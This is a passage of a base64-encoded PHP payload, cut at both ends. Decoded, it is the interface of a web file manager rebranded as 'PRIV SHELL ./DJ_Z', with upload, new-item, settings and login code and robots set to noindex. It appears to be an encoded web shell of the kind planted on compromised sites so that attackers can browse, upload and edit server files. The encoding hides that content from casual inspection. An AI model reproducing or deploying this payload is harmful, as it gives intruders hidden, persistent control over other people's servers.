tY29sbGFwc2UiIGlkPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50Ij4NCg0KICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICRwYXRoID0gZm1fY2xlYW5fcGF0aCgkcGF0aCk7DQogICAgICAgICAgICAkcm9vdF91cmwgPSAiPGEgaHJlZj0nP3A9Jz48aSBjbGFzcz0nZmEgZmEtaG9tZScgYXJpYS1oaWRkZW49J3RydWUnIHRpdGxlPSciIC4gRk1fUk9PVF9QQVRIIC4gIic+PC9pPjwvYT4iOw0KICAgICAgICAgICAgJHNlcCA9ICc8aSBjbGFzcz0iYnJlYWQtY3J1bWIiPiAvIDwvaT4nOw0KICAgICAgICAgICAgaWYgKCRwYXRoICE9ICcnKSB7DQogICAgICAgICAgICAgICAgJGV4cGxvZGVkID0gZXhwbG9kZSgnLycsICRwYXRoKTsNCiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpOw0KICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnOw0KICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykgew0KICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJy8nIC4gJGV4cGxvZGVkWyRpXSwgJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgJHBhcmVudF9lbmMgPSB1cmxlbmNvZGUoJHBhcmVudCk7DQogICAgICAgICAgICAgICAgICAgICRhcnJheVtdID0gIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPiIgLiBmbV9lbmMoZm1fY29udmVydF93aW4oJGV4cGxvZGVkWyRpXSkpIC4gIjwvYT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcm9vdF91cmwgLj0gJHNlcCAuIGltcGxvZGUoJHNlcCwgJGFycmF5KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC14cy02IGNvbC1zbS01Ij4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzwvZGl2Pic7DQogICAgICAgICAgICA/Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtNiBjb2wtc20tNyI+DQogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IGp1c3RpZnktY29udGVudC1lbmQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSBtci0yIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIGlucHV0LWdyb3VwLXNtIG1yLTEiIHN0eWxlPSJtYXJnaW4tdG9wOjRweDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ0ZpbHRlcicpID8+IiBhcmlhLWxhYmVsPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtZGVzY3JpYmVkYnk9InNlYXJjaC1hZGRvbjIiIGlkPSJzZWFyY2gtYWRkb24iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLWFwcGVuZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0IGJybC0wIGJyci0wIiBpZD0ic2VhcmNoLWFkZG9uMiI+PGkgY2xhc3M9ImZhIGZhLXNlYXJjaCI+PC9pPjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC1hcHBlbmQgYnRuLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wIiBkYXRhLWJzLXRvZ2dsZT0iZHJvcGRvd24iIGFyaWEtaGFzcG9wdXA9InRydWUiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIj48L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI8P3BocCBlY2hvICRwYXRoMiA9ICRwYXRoID8gJHBhdGggOiAnLic7ID8+IiBpZD0ianMtc2VhcmNoLW1vZGFsIiBkYXRhLWJzLXRvZ2dsZT0ibW9kYWwiIGRhdGEtYnMtdGFyZ2V0PSIjc2VhcmNoTW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+IiBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWQiPjxpIGNsYXNzPSJmYSBmYS1jbG91ZC11cGxvYWQiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ05ld0l0ZW0nKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjY3JlYXRlTmV3SXRlbSIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI2NyZWF0ZU5ld0l0ZW0iPjxpIGNsYXNzPSJmYSBmYS1wbHVzLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9BVVRIKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSBhdmF0YXIgZHJvcGRvd24iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZSIgaWQ9Im5hdmJhckRyb3Bkb3duTWVudUxpbmstNSIgZGF0YS1icy10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSI+IDxpIGNsYXNzPSJmYSBmYS11c2VyLWNpcmNsZSI+PC9pPiA8P3BocCBpZihpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkgeyBlY2hvICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ107IH0gPz48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IHRleHQtc21hbGwgc2hhZG93IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBhcmlhLWxhYmVsbGVkYnk9Im5hdmJhckRyb3Bkb3duTWVudUxpbmstNSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO3NldHRpbmdzPTEiPjxpIGNsYXNzPSJmYSBmYS1jb2ciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7aGVscD0yIj48aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCcpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/bG9nb3V0PTEiPjxpIGNsYXNzPSJmYSBmYS1zaWduLW91dCIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO3NldHRpbmdzPTEiPjxpIGNsYXNzPSJmYSBmYS1jb2ciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L25hdj4NCiAgICA8P3BocA0KfQ0KDQovKioNCiAqIFNob3cgYWxlcnQgbWVzc2FnZSBmcm9tIHNlc3Npb24NCiAqLw0KZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKCkNCnsNCiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7DQogICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7DQogICAgICAgIGVjaG8gJzxwIGNsYXNzPSJtZXNzYWdlICcgLiAkY2xhc3MgLiAnIj4nIC4gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10gLiAnPC9wPic7DQogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7DQogICAgfQ0KfQ0KDQovKioNCiAqIFNob3cgcGFnZSBoZWFkZXIgaW4gTG9naW4gRm9ybQ0KICovDQpmdW5jdGlvbiBmbV9zaG93X2hlYWRlcl9sb2dpbigpDQp7DQokc3ByaXRlc192ZXIgPSAnMjAxNjAzMTUnOw0KaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOw0KaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIpOw0KaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7DQoNCmdsb2JhbCAkbGFuZywgJHJvb3RfdXJsLCAkZmF2aWNvbl9wYXRoOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRvLWZpdD1ubyI+DQogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggUFJJViBTSEVMTCAuL0RKX1oiPg0KICAgIDxtZXRhIG5hbWU9IlJlY29kZXIiIGNvbnRlbnQ9IllvbGFjY3RmYXN0Ij4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPg0KICAgIDw/cGhwIGlmKCRmYXZpY29uX3BhdGgpIHsgZWNobyAnPGxpbmsgcmVsPSJpY29uIiBocmVmPSInLmZtX2VuYygkZmF2aWNvbl9wYXRoKS4nIiB0eXBlPSJpbWFnZS9wbmciPic7IH0gPz4NCiAgICA8dGl0bGU+PD9waHAgZWNobyBmbV9lbmMoQVBQX1RJVExFKSA/PjwvdGl0bGU+DQogICAgPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQiIGNyb3Nzb3JpZ2luLz4NCiAgICA8bGluayByZWw9ImRucy1wcmVmZXRjaCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0Ii8+IA0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMi4yL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiIGludGVncml0eT0ic2hhMzg0LVplbmg4N3FYNUpuSzJKbDB2V2E4Q2sycmRrUTJCemVwNUlEeGJjbkNldU94anpyUEYvZXQzVVJ5OUJ2MVdUUmkiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPg0KICAgIDxzdHlsZT4NCiAgICAgICAgYm9keS5mbS1sb2dpbi1wYWdleyBiYWNrZ3JvdW5kLWNvbG9yOiNmN2Y5ZmI7Zm9udC1zaXplOjE0cHg7YmFja2dyb3VuZC1jb2xvcjojZjdmOWZiO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCA